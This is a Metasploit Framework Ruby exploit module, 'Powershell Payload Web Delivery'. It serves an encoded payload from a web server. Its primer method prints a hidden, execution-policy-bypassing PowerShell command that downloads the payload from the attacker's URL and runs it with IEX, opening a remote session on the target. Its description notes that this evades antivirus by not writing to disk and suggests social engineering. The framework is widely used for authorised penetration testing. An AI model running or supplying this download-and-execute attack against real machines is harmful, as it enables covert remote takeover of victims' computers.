Powershell Payload Web Delivery

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'		 => 'Powershell Payload Web Delivery',
			'Description'	 => %q{
				This module quickly fires up a web server that serves the payload in powershell.
				The provided command will start powershell and then download and execute the
				payload. The IEX command can also be extracted to execute directly from powershell.
				The main purpose of this module is to quickly establish a session on a target
				machine when the attacker has to manually type in the command himself, e.g. RDP
				Session, Local Access or maybe Remote Command Exec. This attack vector does not
				write to disk so is unlikely to trigger AV solutions and will allow to attempt local
				privilege escalations supplied by meterpreter etc. You could also try your luck with
				social engineering. Ensure the payload architecture matches the target computer or
				use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
			},
			'License'	 => MSF_LICENSE,
			'Author'	 =>
				[
					'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
					'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
				],
			'References'	 =>
				[
					[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
					[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
					[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
				],
			'Platform'	 => 'win',
			'Targets'	 =>
				[
					[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
					[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 19 2013'))
	end

	def on_request_uri(cli, request)
		print_status("Delivering Payload")
		data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
		send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
	end

	def primer
		url = get_uri()
		download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
		print_status("Run the following command on the target machine:")
		print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
	end
end